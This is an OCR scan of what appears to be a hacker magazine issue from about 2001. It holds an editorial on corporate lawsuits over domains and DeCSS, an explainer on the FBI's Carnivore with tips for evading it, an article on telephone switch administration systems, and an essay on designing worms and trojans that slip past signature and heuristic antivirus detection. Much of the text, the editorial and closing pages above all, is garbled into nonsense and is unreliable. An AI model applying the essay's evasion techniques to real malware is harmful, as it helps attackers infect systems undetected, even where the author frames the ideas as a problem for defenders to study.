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sell ourselves it there is equal jusboeouder liwe - -

e har everyans B _.anf S _mn_m &____ T T .:..u
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" pesn b pon ikt ab @orst
Tuke the :.._un_. revenl abepdiny e _._.,n.aw n..: d.u..
_“..E_Hu _"_vk..._" meanireg at the dme this .......__n .m_ﬁ."_._._u.

wie.can only imagim: & Bat arber bl Tatdes wie Hbe.
mw.i_.”_w.q___ the time yoo read hish Ve may 1_.1_".1.,_.:.,_..

biack an Ogipbacs v ot oo o sty Srhers o
Giereral Modors zocusng us of trademark infrings.
m_.__:q.:_” o deechp 4 rezisfer fckpenerflisnos, coo.
As i anyooe would be wonfused icto thinkicg chat
sich a aite was sanchionsd by Cenerel Maonors! W
bend & pornd bagh ovver’' 11 bk Uiem, a5 we did with all
of the other corporations thas tried o qoell dessenn amd
criracgsm by thresssning sines which izsulted their e
L chrpomate dmegze. We actually hed anrizipared
~such acempes, which is one of the resons why e
deingns wong iiggsberid in ke fing place. And in i
o those cases, free speech 1ook e upoey hand - no-
body wos willing 1o siep fooward oflicially and chal-
benpe the inlwresd right of pecpls oo Eprss
thimeeives.
Uniil noes, In fa21, it was fght when we wers in
the mickile of preparing For oir Soo0nd Cirouil appesl
in the DeCAS case har we became aware of bangled
allgenpis belsg mads Lo erve o5 with 005 Goun [
E=rs. Anatbser lawanis, But insgead of coming from
S Tieneral Motors, the papers wete being filed on bebalf
- of Ford! There bad to be some mistabe, we roughl
i we dida'seven bove 3 doonain with Ford s name

i it 15 furned oot v G5dn'thave o Yoo soc. dght be-
- fore Gonemnl Maotors stames 10 (hresten 1, we hadn't
- e pomne bowith an scrue] site ver W dida’t evien

#eil anybody aboon i, ATl the publicity for the damain
- e from the Geoernl Motors threat. S6 whils we
= BErE wing fox the porfict anrl-Gionoral Motues site
Gt Ak, we peinted he domain ot cheir main

= = empeninar - Ford. Ard then we knd of £l distracted
AR WOTe WOking on ke Deil55 appeal.

Withaut kay kind of 2 WALNILE OF INAMEE 19 o

L BEanvane ab - o0k Food aEmply fikad a Jawsil

| Bghnst us They claimed that we had na righr tr link
: soenehow snpapice in
i It bediavioe - simply By peinisg the domain

E._._.n1.__ Thea logs wint, u,.__.n_n_._n_._._ i 15k thiss same-
iuw ....c__.l._.._. E.rn K R .._.._...1_“...._..._:r I T W [k
mnn.nEn.._..._i.la__n.E LAl (it Browser, wsild than be

5 ﬁ_.rm..ﬂ.wﬁ_.h_.&.n.d: fon.c o, st aeald wind R

Ang ﬂ-..:.rn._n T e thickieg that Ford was wing

ety Tangsage gainer their com ﬁ.....__._..ﬂa Eoid, wold

Lo

“_.u.munﬁﬁa.nﬁw riaf WA R it _n_._u.mu HﬂnmE.u:_..
AT - zll w_n.nu.u_.n.._....m.un
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roy it ._...Hn..,m .__n__._ﬁn._. _m.___.ﬂ__.__. & F_.._.m_“ ._._n”_:wﬁ_m il

u.__,.... i «.:,._ suded el And w had ) i n._E_nn. Ear u.._

E..anr riscerces and hibngh defehen,

-1 [oess T e wire sl ..._ﬂ.__.._._._m _..uq aerdi cr-
x F...?.F._ “.,u._._ simce _....n_ had wonred e #ﬁﬂ_w 0 .... ._..
apatferigihntedzanely. I B fudee had Groughe we
weTk @ sericus threat bo Ford, he wauld havs e doaka
rueled o0 orhe spod, Bur thiz 't complelely about
windler or Dol we win, A mejar injustice bene i ghar
this kind of thing Fappess 9 1he finl placs wdthoul
any kimd of =oveuntsbifily, Deing drage=d irra coar
van be excremely costly and drzining, cepandless of
how thisgs Farn gk, W iz saw Biis back in 195940
when Craiy Meidoo! of FPhrack wos charped with a
crime for - puhlishiag infermatics inoao eleclecic
magrasing, Even though the charges were dropped, he
was lef with crippling legnl Fella, Whane was e vio-
cligaziog, 1he 8y in courl we all imegine where b
workl Fnds out thet we are innocent of asnapdoing
anif @veryThing soinehow et imende ght?

Since thise carly days, we've seen sooves of poo-
ple ger charped with orimes of a ridicu ks and absurd
nabee, W' dim mreny of them sent 1o prisoo.
We've seen preposterpus wanns fiksd by hugs oo
pocanans Thar anxsh b cadeavors of individuals,
such as when Generzl Mabors pur Sazelie Wik
Kewg ous of bosiness, somply for publishing lechnizat
Infocation ta! et Direc TY sahsidiany Aidn® wanr
peoqile o kncw, Thesss e U idjustises - make no
mistiks #oul iL Bul ke injslice Lakes on on even
mare serioas ione when it no Ionger seems D malbs
whother o0 vl wou're Fued gally oo dnpocent -
whelher you win o Jose. Tf yon're even Saaghr i
rhe guwee, yoa lose repandless of whilher or not wou
win. Sounds craey? [Lis. And 310%5 whar the Americen
justice system s tumred dnno

Peke: thi case o ShepeSkifer, our lapout amist,
whir wax arresisd daring the Repubhican MNariceal
Conervantion lasn Y in _......___«_. wiphia, From the begio

..” ..Tﬁﬁmh
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ning, il was clear that this was 5 s of mlinodslion
hy the aurhenries, whd sammsd o ke feken Jessons
in il eeeindl Do B Dicrsiar's Flandiook Treer
poal was Gy orash 23y sign of dseenr befoeg the firsl
chane of o perdsster was hiand, Even Uie bail - half a
eoil e dhallars iz ShupeShilter’s case, drublz thad in
olTs - was desigred o mzke o irpocsble fog pec-
o b b rebesnod Do the coovenlzon ees over T4
wins poviously urheard of for peogle o he held on
such asiromomically high kails Far axh wiviad af-
ferszs, which was U medsl thal poople were able bo
B chsrped with, When i comne ime Far thesa cosms
avbeally be hzord in oo, 1he vasm majeiny of Crem
wers crrpipiad for Tack of evidinde. ShapeShifer was
oows 0 b people who was complelely windicaned of
any wTongdoing,

Ao sheadd this he sl o bapoy ending?
Dines sgain, e arsweT 15 na. [i=spite heing frand to-
wsvenl of a1 charges, the vary fa: e ShegeeSEMer
wzs broeght insa e srema of the Jogad sesdem menns
that, by Jdelacll, I Boses, Rermember che baif meelban
Cuillar bl Bvenbzatly thar was loacaed o tha poinl
whers SO in ersh win Coough v pet hion re-
leared. ¥oar would Qo that che B2il weald have besn
rdonmd when Be showed up foe the wial, 10 wara'e
Yoz woould think e fasl woolf Bave Seen reboroed
when ail charg:s agaizsl him wers dropoed. Ir snl
waEn's You wold trink arter farcong a hosriog on U
cnagtber thar che F2ll amesanr ool b wven heck do the
peoplz wha couphand it up, porthaps with z2noapoleay
0wyl e wilk the Intersst it ed bogn _...u_.:,..n___:
all this Eme, Bur we doncr Lves oo sekavision, We Hve
in st cenmiry Aamesca, wlens priple are presurmesd
By ever afer being found innocent. [nihe end, the
] ouekad thet it had doe righr m Recp 57350 Gor “=d
mimisrarive cnerst And 20l gocs.

Eery rn s el vomselves ino2 coar af law, o
s e kv bosl by default, somerhing ewce 4 vic-
Lory can't seemin changs, Mot hal wi don’t relish the
idea of srarching v 1o any of the bolliss oha por s
v Ciis kel Bt evers rime we de 17 a0ans g ozl
e jusd Enzncizally, Wie have o dowoie ermendous re
stasmces inra the acrof simply Gefending whe we ars
ardd whar w¢7vi boon doing Far 21l rhess veare And
e Bl b wonder ot the tmong, Fhe day belone e
“Free Kevin® hortle cpme 10 an end was the day on in-
Janctian come Gown against i, Seming the eCSS

wers puitiny Lapether the

cavl, Arsd il was while e
el loches on the 0754 appeal bt the Tond pa-
pers wers filed. W kiew all shout the #tzrmal vizi-
Langs thong - we jost dide't expecr ta b Lving il s
litemally.

Mary would say thans™s 2 simple solurion @ dese
ponhlenss, Pon's ped wourselE in a posiries whens vou

bave saved us rhe kezal fees from the Ford
vase, I waus kave seesd the Eleclnoeic Tronber
Bourdstice mar= than o milbon dolles aben ey
shoproead up tr defend us an rhe DOUSS case. A it
vtk bave saved ShapeShifrer 3 wosk in jail. But
whit would Bave Been pained ! Ateeioicly aotking

ol i e gainicg anything rezlly rhn bad sines
aoibang winld bave been bost gitfesr? Toe answer w
almaws seeny o reach afler asking these vy quics-
TinE i el sk il iF o bad Uving, Becoues by pol
Fehring, wr o lose - we keve By defanle, The los
may nof b uonsalislely obvious bur i effecrs be-
come visible gl guickly, Maybe the next peronp
wha regsiers 4 siks Al seene corporste giznt ohjects
ra will ke inrimikdaned iox i |k peonle incdeed
clan'r Fave the Lghn 16 crilivize them, And shar will be
e precedant uodi? sonvons clse comes glueg U chal-
lecge in Rame thing with b EeC53 Guse, Agreeing
Lo sifle speech woukd havs oesal thal sueneone 2lse
windd one day have re Bghr g it ek, And thar
Bals o whale lor herder shen svervans pels used Lo
thie ik hal chis right mo bnnper exiszs, Al ol the o
plaszsal things tha! have ooowred in e Basl dicade
ey - nenslalory drag teseing, cons inoachosls, gris-
o spidaning v everywheres the gromding recd” fiu
surees llange - will all ke so much harder, i rod cnm-
Flerely irnpesaibls, 16 Lrn back because we ler aur-
selves ger used ra them, 10 always essier monee ger
involved wnd cherebor ceduce the risk of getding ar
mesod [or stinding on rhe weang zidowalk or sued for
angering the wrang perple. Bl by ool gefling in
sulvid, we wind up endorsing whateser dinoclon
rthings an: crving ire And it's wsnally mara vecy pod
A4 revrsan

Wnle e wllingly somept the cost and rhe risic af
ErAng ro balrh: een e jssa we believe in, we mnsr
object o the wiy rthe sysn ponalises any of ws jusr
for being dragged inra rhe lepal pame, [T cwes ars
Tnd to he witwout mznt the ol shoald not
b ponisdied ar olf, fmencially ar mbeowiss. Ferhaps
e people would be willing to Ezhe thess Bdiles if
limsirg Thae vase wis ey e andy way o loss,

L=

agld

I fupgicn news, our next THOPE confercnes -
H2EL - haz already boen linalized znd planned for
Tuly 12-14, M2, W cow i zutre Bhan Ffour dmes
the space of the prevics confaeece whick allews foc
pravtically untimited peesshifives, You van help in the

Taning slages by foining thes B2KE peazling Jist - send
an _....__El._ Lo mordomo® 2o and 1o “suk-
crnibar h2EET o e Crsl line of the messaze O juss

can be o victm. Recogrime the rthigars and aeodd  chedk onr owe o sibes &l wewewheperer amd
em. [17s .E__" ZN LR _._x&. E.ﬁunr..n.“. Ard chat  www 2k nes,
Summer m__._u___.__:_ FPage 5




What = Carnivore,

Reall<-7

by Achilles Oailaw, Th.Th

Right off the bat Carpivors isn't anything o
write bome aboar. “Advenmre” s s moch
SCATier ProETant.

Wemre scared of if becauss of 211 the mystery.
But when one poels hack the black shrood, one
w11 e m,.,.,_n._u....,.mu_._._,w vy different from what was
expaciid.

Ricsr of what we knoow aboat Carmiviors aref
the ocher FBI snoop poognens comes mam de-
classified dncumenls released during o Fawsuil
Gk=d by the Tilecimomi _u...m...mnu.. Information {en
ter (EPIC) 750 papss wens released, most of
them signileantly Blacked out. Incheded i these
pepes was e soures code Do Cuwmoivore, the
peodecsan of Carnivers, That's blacked our,
o,

Based on these documerts, we know only &
faw things,

Camnivare was suppoeedly concedvad in Feb-
suary O 1997 ax (rnnivere, an sarly versicm that
fan o0 Sun' Solans plafiire, A OWirkloas WT
vershon was released in [99Y, which s the
el zzed roday.

Clarmivors §5 A iNGCICCR Progran, asing [w
mbdologies: conent woctap and wap and
racspon register, Coarent wisetap s what i
soands like: ceptirs all email messapes Cio both
directicns) fiom a given accouns, or captuee all
petwork fraffic (both directions) io'from a spe-
cific accoumdTP addeess. Trap and irace (in-
baund rraffic) and pon segister {oathaursd eraffic)
samply Tefer by the moaitonng ard reconding of

traflic to and frocm a site, fip or eoeail.

Basically, a full content wisetap has to be su-
thorized by o foderal judpe, while the wap and
trace/pen register can be granted by presry mvch
any judpe. Therefore it is “horder”™ to do a con-
fent wiretap. The result is that Camivore, if cver
used, probably isn't copying the enrire emails,
_..:..._..m. the “To'" and “From®™ lines. Teck nizally, it
G bevien copy the “Enbject” line of an amail
._...n.,,.,.m._._._m.n .ﬁ_m._. wirld be comsidered sontent 2nd as
SCH requires a Federal judpe’s arder.

If all of this sounds oo difforcnt than what
AY sy webmastor o ardingry ISP can do,
then yon've goien the poml

- Ui impertant 10 onderstand thar Camivers

15 E B0 SUperCommputer in Queantico that ecs

direcied ar 2 suspecd. Ir really ds quite benign.
Camivore is lterally a "COTS" (Comnercial
(Y The 5kelfy) Windows NT box. Pendivm IOI
{or IV} with & huge drive (2 CGip Jaz) o srors in-
fonmatiea, This Box is Laken W an 15P along
with a cowrt orderfscarch warmant ard informa
tion oo who exactly they noed 10 cavesdrop oo,
“An underermined eonploves ar ABC Coepora-
1™ is ol sufficient i permii the nse of Carri-
Ve

Why hother with 211 this? The 15P does ned
nzd 1o coopdy of they can privide the inlioma
tien throach echer means, whech 3@ lod asier
than gedring n Carmivore boa sor wg In athe
wirds, the 15P can simply copy woar cmails fog
the FTH, 2nd Carnivime newer 2ers peed,

Whene it all gels sticky is when you Iy and
uideratard crsctly how Carmnivore gets ol this
information. Chicnsitly, 12 03 & packer snilfer
thai copics information as it passes by Eveay-
thing, including email, poes oud over the [nee-
et i “_..,.H.__Hnm_ Camivors copies #ach n_n_ﬁw_“._“ ared
recorsinzls iloas o comnplel: email, A pecket
iy versioolly pel missed, so orly anincom
plepe cmal 5 recanarucied, bar il s alweays
clesr which packer was missed and thar a pachket
was migsed.

The: analopous situation is this: Carcivors is
@ vampualer that sits in the post office and looks
a1 the retam and destination mikiness of svery
Bertor that poes by I cotier address matches the
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SUSpCt s, Lhe lefrer is copicd and then sent hack
Ok a0 weigy. Mo match: no copy. Carmoaone nay
copy oily papes one, three, aod foor of the ket
tor, bur it will bave clearly indicsted dhat w
migsed page va T which T says big desl,

Farthermore, seasch warrants need o be re-
newed every maonth, So i Camivore was in-
stalled, if Likely would wod Be there for longer
than thar,

The point is thai, onee again, baw enforce-
ment s behind the curve. BEasail sniflers have
bezn arenmad far a while, Metwok ICE Coepora-
Lon hus an open souncs worsion of Camivore
called Altivare (downloadable ar avww.mebwir-
krce.coendaliiveors?), Pocker lopping will do es
acatally Uee =ame thing, a: will TCPDUSME In
fact. Carvivore iself s bails with commercaal
products. Bobert Greham, authar of & proat FAQ
(s2o bolow b poesses kst EikerPeek, availzbls o
oo, i used by Carnivere b capiore IF ad-
dress draffic. (Edherteck, along with other pro-
grams, - is explicdy  mentiored  in o the
declissified documears) And, remember, 1he
158 can dooall this for the FEL aryway; Cami-
vore doesn’t need o be peed.

S Camivore works off of an ezl =t
dress, it dosssn’t take o genfus o clsowaent iL
Yol can get a practically anonymous cosl ac-
count from Yahoo! (ust maks up the pessonal
information). of use a mizsmaster or re-mailer
And s Grabaim points oul, iLis o very easy do-
Temze to say T dido't seod that el - it was an-
other guy using Trojan Heese™ You could even
say soanenne st ab voor terminal, bt “lack™ an
the browser enough times 1o gt back into the
ol aocoun, andd wrode the offeading enssils.

S Carvivore ian't ail it cracked up fo be.
Bt Carnivoos 15 really only one pa of & three
part package called Dragan'Ware Svite, the fill
capebilitics of which are sUll unknown, Whar iz
Ercwn comes froo an analysis by a privaee firm
called SecurityFocus: “[DragonWare Suite can]
reconstruct web pages exactly & a surveillance
argel saw them while sucfing the web.” What is
also known zre some of the propeans snvolbvied
in it Facheteer, Coo’miner, FaberPock O sone
of the doclassified pepes are references w “voiee
aver I[P intcreeption fphane calls, oo also voics
charf} Bt not havs thas is dene {or i is dons ar
all .

An interesting side pobe s teal an surly ver
sion ol Camivers (vorsion 12 had 1o be
sorapped because it picked op oo meck infor.
Taniod wersion 20 was more surgical, [0 scems
gt least 2 bitle odd that the FRIT would wart a
SO00D prddrant Uzl picked op l=se infenmation.
Giving back oo the poat office analogy, the carly
Carnivons started copving benens with addressas

that rescmbled the suspect’s - instesd of only
“Inhn Browstein” it alsy copied “Ine Broan™
ard “F Abocwny,” st T recoomize it the re
duciion un capalility wis done bacznse of public
SOMCCME ovel privacy, bul il hegs the gocation:
if weur can met mare information, sre there times
when you acreally do If you koow the suspect’s
dast naere wret home stabs bt oothing else, conld
Carnivee: be used b copy anvthing that
raichad?

What Coamivors  can’t di
“Magged” words. For cxample, writing “{szma
Bia Laden” znd “homb™ will not pet vou picked
up by Carnivers, hecause Camivore works off
of 3 known suspect™ sccount or nddress, not
cuntent, Frheion, the NEA program that was {oe
was nod) begun 22 far back &3 1975 theoretically
can do this very thing. In facs, even in 1975 e
NE3A could convert inlercepted voice mossapes
fioe, phone callsh into wext and do sesrches for
Nlzgged words off of the ramseription. The im-
prtant distinclion is that Carmivies 15 used loe
procecution, and as such nesds tobe spocific and
within the confines of the [aw. Teheloa, if it is
wikal, is for sarveillaree and whentifoation, so i
needs v e as booad as possible, The NSA does
rwank br peosecule v {That’s the Tostize D-
partment’s joil I wants we lind woa, Bot whar
Echelon is (and is0'0) bas o be discussed in a
Later article. The pariculars susrcooding the
Guestion “What is Bchelon ™ may be mystesiow
TCHAY

Bul any policy hinging on mystery evenin-
2y tires.

Cme: bast cuniosicy: the FRI didnt make Cas-
rivere or DraponWare Soiee. The FIU has bd-
geted $A30000 for an “Enhanced Camivore™
and coauscted @ commercial fm o do e
wirk, The flrm’s identiny was blacked ot in the
ceclissified documents. Anyose warl i t2ke 5
o

1For an excellent and much in-depth analysis
of Chrmivers, vou can resd Bobert Grabam's
FALY  at wwwrobemprabam comipuhsicanmi-
vore-Tag il He is alse the author of a great
dictionary of hacking terms, The declassaficd
dociments  themselves can he  seon oar
wwweTie o pivacyrarnivors ol diecn
oucnrs bl

is sniff o
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by Dr. Leovinuws

All of the information, ideas, and
source code appearing in this articls is
for educational purpaoses only. T deny
any responsibility for any vse of the in
formation, ideas, and code appeanng
here, including any responsibility for
any variation thereof. My goal 15 to cd-
ucate users on just how dangerous new
generelions of worms and vimses may
become so that they can starl develop-
ing security methods o combat such
viruses, All oode s wntlen in Java due
b 1ts buili-in secociy {which should
prevent the included code from being
wsed i destiroctive applats as is).

In the Winter 20002001 issue,
sdroop presented ve with a polymor-
phism script (for domonstration pur-
poses o onlv!l  written  after  (he
polvmorphic varant  of  the
ILOVEYOU Ouileok vbs worme thar
improved on the comment rewrite strat-
cev  emploved  successfully by the
worrt. It not only added random com-
ment characters interleaved mside the
script with each generation but also ne-
moved all of the existing cormments
first so that there would be no compari-
sofl between the signatures left by the
comments in the new gencration when
compared with the existing seneration.

Allthough sach 2 serips would fool
the majority of ¢-mail virus deteciors
that simply rely on known signatures
dufing the virus detection process, they
would not get by polymorphic virs de-
lectors that were smart enough 1o base
their signatures on executable code
only (and they definitely would not get
by advanced virus detectors thet used
standard generic decryption techniques
M a virteal computer which analyeed

excoitinn sequences). However, if we
lake he ideas presentad in the aticle
ong step forther, we could easily create
a worm or trijan which did.

Firzt of all, why sfop at comment
mutations? Many of today's languames,
ezpecially those that support objoct
based structures to some degree, make
code mutation tvial, For example. in
Java, 1 can wrife a simple  program
(ReWriter) that wall repame all of the
class methods and attributes of 2 given
class - the vast magorily of the Gme. (1
failed o check for unusual or special
syntax in the script and this could be a
prablem - the script does work on itself
ad infinitum.) I 15 impossthle w create
a static signature for a worm or trejan
based on such a scripl.

With sufficient analysis. it is possi-
ble thet one coold come up with o rela-
tively accurate dynamic signatore of
the fomme [i1 012 13 oma ] (= n-
struction. m = methed call J jump in-
struction)  where - all - method - and
atribute pames were wgnored and only
the synteciical strecture was analyeed,
Lut az &1l programs coded in the same
language are limiled to a relaively
small instructicon set. the  signature
would have to he guite large 1 have
any degres of accuracy and would thus
be quite difficuft to generate from a
pure enalysis of viral activity,

Morcover, assuming that one could
develop such a senenc signature dy-
namically from an analysis of multiple
infections, we could teke the random
naturg of our wormm onc step further and
dyvnarmically vary the order of opera
tivms. Maost of the timc, it is possible 1o
entify groups of operatons that can
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interdependent and thix will allovw us to
break down our program info proce-
dence groups, where the operations in
each group can e podonmed in ran-
dom order a5 long as the operations in
thee first group are performed before the
operatioms in the secomd group, ete.

Thiz is also relatively casy to do in
some languages. For example, in Java,
il we break down each indepondent op-
cration, or st of operations, into a dif-
ferent meethod and classify each method
into a different precedence group, we
can use reflection w dyvpamically mon
the methods in a psewdn-random erder
and produce a different instriction se-
quenee on cach man, which, when com-
bined with polymesphic comments and
nacr-defincd names, will completely
nullily any attemp 0 gensrate & vaable
signature and allow the virus e slip
past any virus detector that is signaturs
based. For cxample, if each method
hat can be ron in a psewdo-random or-
der inside a precedence group slores i
own precedence level, one can write a
method in Java in under 30 lings o
peevndo-randomly  cxooure CVCrY
method 1 oa Java class wsing reflection
(RandomBunnzr),

O course, there iz sull a pood
chanoe that our worm or trojan will be
intercepted by a generic decrypror that
uscs non-virns specific heuristics that
runs the [ilz containing the Worm of
trojan inside & virtual computer befure
declaring the file as clean, especially it
the implementation of this technology
is solid. However, an extension of the
above technigue could be used to de-
feat even this techoology, which is the
moat sophisticated anti-virus echnol-
ogy available. The trick is to insure that
your worm or bojan perfonns multiple
actions on exccution, including those
thal are bemgn (amd mavbe even bene-
ficial). If your worm simply (1) exe-
cutes instructions: 0 load all of the
addresses in the address ook, (2) cre-
ates a copy of itself for cach addross,

anid (3] sends itself off. this vical pat-
tern will be delected by a well-coded
peneris decovpior based on a large
databaze of heuristic evidence even
though a good implementation of the
above techmigues will allow the worm
or tojan to slip past a signature based
detection scheme,

If wvour worm (a) propagatcd ifsclf
vzing a prolenged. indinect wariant of
the algorithm veed above, () plaved an
included video or sound file, () created
a weeful looking document of spread-
sheet according to well-acoepted local
svsten rules, and (d) avtomatically cx-
ecuted some standard commands liks
avto-reply and open new messags win-
dow and interleaved each of these tasks
e one super-tazk using the proce-
dence grovp above, then no prodictable
pattern would stand out vpon cxccution
inzide  the wirtvwal  computer  and,
chances are, your Wworm or - trojan
would be given a clean bill of health.

In summary, s with xdroop’s ani-
cle, 1 belicve that the ideas prosented
hercin form the basis of interesting amd
challenging problems. Problems that
should b thoght about, analyzed, aml
solved by the hacker community at
large before some rogue hacker who
ey mot n.n.r.mu_._.nk_...___._. _m___u _n_u_”_u_”_”:._.:m._...“..
silves these problems and uses the
knowledge therein o infilrate  and
dernage systems and rein our bad
[LETEES.

I also hike interesting problems and
am anxious fo e what others can
come up with, pariconlady in ferms of
detection and identification algorithms,
S0 1 pose a challenge: Algorithmically
speaking, what is the most undetectable
WOrn , trojan, of vims that you can de-
vise and how would you stop such a
worm, trojan, or virus from infecting
computers in the real -world? Happy
sleuthing.

Sternterrer 2007
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hv dalai
dalai & swhit.net
hitp:ifwww.swhinet’-dalai

Let’s say dwo hypothetical people -
wi'll call them Bike and Tristan - decude
i communicate over a long distance v
telephone. Their calls are roated through
the high-tech digatal telephone grid of the
oew millenmium and they talk about their
[avorile wopic, poxTastination, whils en-
Javing & erisp and noise-fres signal.

The systems which make up the net-
wik their voices will be routed over have
changed dramatically aver the vears, espe-
cially in the Tong-haul pefz, 557 and the lo-
cal - offices  however  have  remained
surprisingly consistenr, at least al theory of
operation, their most notahle changes be-
ing soame growth to support modem freasds
such as residentizl hroadhand.

I'guess Toould just find a picce of o
ware, gref il for “stropy()”, write a plaved-
oul stack overflow expleit for it, and
consider myself a hacker. Why not,
cveryone else does, its the trend
nowadays. Nobody actpally thinks =
or docs their own thing anvmere. To §
e at least, that docan’t cot i, 1 want
more. S0 here 1 am venturing inlo a
topic that has gone without much at-
tenticn for the last couple of vears, tebe-
phone switching, In particular T want 1o
_E.um_ people zct up fo speed on the way
things arc. and to get cot of the mentality
_..___m the old, misleading telephony materi-
il

- First, sume background, The ES is sill :
An play. Minus nccasional upgrades like :

Lthe recent major E2k _ﬁnmmm_w_ i afill Gﬂm_.
ales besically the zame as it did 2 vears
ago. Software contric and  digilal, the
switch i= the biggear class § in operation. It
1= oodular in design and cortain cormpo-
nitls can be added to che swirch (o facli-
Lizle the flexibility that may he required by
# verlain BOC or serving arca. F'm going 10
talk shoat ASM, but first some hackgronmd
an AM,

AMIASM

The Admimstrative Module is stored in
a hospital Blue cabinet, and if you've over
seen an ef op close vou know what I'm
tzlking aboul. Ti%s just like any other shelf
in the cahinet array, Tis purpose is similar
to the proverhial ESS contral chanmel of
which you've read in old Lol exis, The
AM allows for contralization of admdnis-
Irtlive input for common coafiguration aml
operatiopal tasks. Many aspects of the

swilch cun be controlled by thiz mod-
ule,

You can connoect things o the
AN and that’s the foundation for the
creation of the ASM. The ASM is u
drack mointed Sup, al beast in oznv
configuration that 1've seen. Suns are
amazing cecarres in the lelecom in
dustre. You can even throw an 557
#ctack on them nowsadays, Can wou
wheel vour UltraSpare into ywour OO and
emulate an 557 node? [ don't see why ot
Would it make vou an asshole? Yea, Bul
et uf you don't care.

Anyways, the ASM connects to the AM
of an E55 and 15 wsed for many things. Foa
instance, softwire deiven AMADNS runs
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via ASM. A Lot of the things yvou think that
you know about have alrcady beon re-
placed by applications running with the aid
of the AM or ASM through AM. Tole-
phony is & dvnarnic business folks. Trash
vour yellowed 80's textfile printouts and
order zome ATE ] manueals,

ASM slands for Administrative Scr-
vices Module, 1L connects dircctly to the
AM vin a Bi-directional serial channel. The
module itsell 1= tvpically a Netra T-1120
“teloo server” by Sun. It runs Solans like
any well-behaved Sun produect. Thanks o
Rixoa for dirt on the Netra.

The =ystem obvicusly has is own 1P
stack and connects o & proprictary Iocal
point - of control network for - egional
swilches, s well a5 2 much larger netwark
for suftware updates. It cpenly uofilizes
FIF and telpet for administrative masks,
ULCH is used to some degree. ASM's are
wconoecled woa centralized point. This poind
ity control several E3's. That poine is fire

~ walled and connected VPN o znother net

wirk [or a litlle something called RET,
The Kemote Software Delivery sysiem

iz there 1o speed up the process of switch

sofiware updates. Mot necessanily just the

Coanftware that dives the switch, more like

the enlaneements that are sent oot on disk

~ by Lawent  periodically  throughoat the

year. The clan s that RS can reduce
time 1o service [or new featurss by half.
The ASM plays o major rele in the update.

I menticnsd thal ASM's are connected

o Manarther network” for RS, The ASM

takes the in-gore switch and merges it with
the updare, and hen copies 1 back 1o the
ESS. The quickest way 1o gel a soltware
package onte ASM 35 10 download it di-
rectly from the developers. Lucenl main-
fans a "feature secven,” cidled the SCANS.
SCANS will be connected via ¥PM o ei-
ther a centralized server for @ proup of
Switches, after which the clienls can grab
from this server, or the switches can con-
nect dicectly oo SCANS w2l Tn case a
switch tech forgets how o ouse TR

SCAMNS socepts digl-in dovwnloads,

Sinee 1 1s handled in the AWM, ASM can
tzke over the recent change datics as well.
RCMAC 15 wsually hundled in the AM
nepwadays, and since ASM was created
simplify and expand the AM's dutics, it
was poted over, There's a nice litde wser
fricndly system (o administer BC now. It
alzo makes for 3 nice ceptralization of Re-
cent Change administation for your Q55
group. 5o vow see thal thearetically if noth-
ing cver needs o be woubleshot und no
new circuits ppearn, we don't need unyvons
in the switch office ar wll, That's where
BMAMS comes in., bl T'L save
that for another day,

557 and FACS

It current ESS aaft
witte version is AEIS.
This wersion  provides
signe 357 enhzncements
which were not availablz
i previcus versions (al-
thougls the software has al-
ways winked with 8871 A package now
available 10 mosl swilches s the “7TR/E
Packe: Gareway,” Usiog this svstem devel-
opzd by Lucent, POTS calls destined for
an ISP arc trunked away foon the voice
switch and towards the TSP using o dedi-
cated backbona. For oncs the teleo makes a
neave for the service providers and oot the
olher way srcund.

357 15 all grown up. It's a full Aedged
prowesel with s own laver model and
everything. AT&T has created something
called rhe CRT, which works basically like
a custemcr premise’s [P npuler, except it
acts on WATS numberes, Where 15 this all
leading¥ Routers that switeh 857 on the
same wire as 1P and voice? Equipment that
condilions or switches withood sticking o
a specilic group of protenls? Centmaliea-
ton of all public networks? Premy cool
sidl, You con dig Truuma Inc’s nifty 857
prapect, SevenSack,

Whar abwut the old svstems you remem-
her reading abour? FACS s still wsed for
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:
handling seivice erders, The oltice whers  mostly on lange PBX sctups and is accom- | —
the entries are entered into FACS is con-  panied by the similar svsiem ©MS. Are "E m E G m
nected 10 each of its ¢lienl switching of- - you curipus about tracing? You're traced
fices by & network which I know nothing  the secomd yoo pick up the handset, plain
aboul, What T do know is that FACS will - and simple, No matter how carcfil W Are,
progazale 1l orders 10 esch awitch that  somewhere there's an office with a record
needs 10 be ivolved with the circuit main- — of yoor call,
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ATHETR Foewr orz e

Leninsse ar #vatic, Dalai®s Final Thooghts e
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operiling the sine. Betl @s really cultic and - Winsock tnojan’s might have heen cond in |
Teleonlia (Belloored o dog chasing its tal,  the 90, bt let™s v to prow up in the new
They'd all prefer things to stay cxactly the  millennium, There's a ot more oot there in
wiy Lhey are. It can take a long time o relecom than vou think. but no onc's poing
move vp o swileh tech, if vou know what [ toowrite 11 all down for you. Learning ro re-
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POTS uvutside plant hasn't changed whar Tve sel up here: wawswhenet!
mosch sinws the Pairgain and other foop  ~dalaifbellbell huml,
concenicalurs, What has changed iz ihe Py
ey people conoect o data neoworks. Res
idential brosslband 1= huge these days. To
Facilitate the large amounts of people wha
desire things like DSL, the teleo wirca up a
FOOT {Fiber Centrad (lice Terminal) in
some ofevery arex ollice. The FOOT
pushes an O hink te whichever serving,
arca where il will connect with a Remare
Drata Terminzl, The BT can food oot
BN or DEL or whatever, This sctup
works simifar 1o s copper equivalent in
Wt lines are zend oul in belk and aradoally
siripped dewn o individual “peirs.”

In some Tucent setups thers is 2 system
citlled ACA, Avtormatic Clroril Assurano.
The job of this system i 1o spot potentially
Fravdulent calls. Thar is, calls which arc
extremely long in duration, or many calls
of shorl duration in successdon. The time
limits irmposed on either shor or long calls
are margged by the individoal switch, If
when the switch motices the ACA alarm the
call is sl acive, the call will be moni-
tored using “Busy Yerification,”

I you are dropped in on by o el tech
wsing Busy Verification yoo will be noli-
fied with 2 tone, ACA is a feature wsed

ke Lweated Lair amipaars v B e00en Ty Benpikoc Keziowa sfa Jad hie: Sotaloes meoe SR HE(3Y Lada
ETEWTIrG ma L Eeeibect's mesraleg splpel,

=3 marimn der compe oy Lb a3, Te'r Sloe Bor bobia) Siiaineta sz W o mine WiAla sl Bl smespieear e
midzy e T, e ok, Dolawna wd Fewas

S ISETUIT. TR KIEOkE Ja polaed to be £ TR w4l b ibp Bewriesck mRE 0 e appmsad s Sl amwri-
i 1lmoy W i Fy sasitom

- onozalag ok vT o g fernamalle Sxsl
eg I RAlER S 10 mIp ar ke wriceh

inorhE R mrmalap, 1omas meX T Pa noRLoOL war lmirteior, ¥l
Az owozmdoe da kickiawn

S TN

Fomaidace. hasminess migaine

-

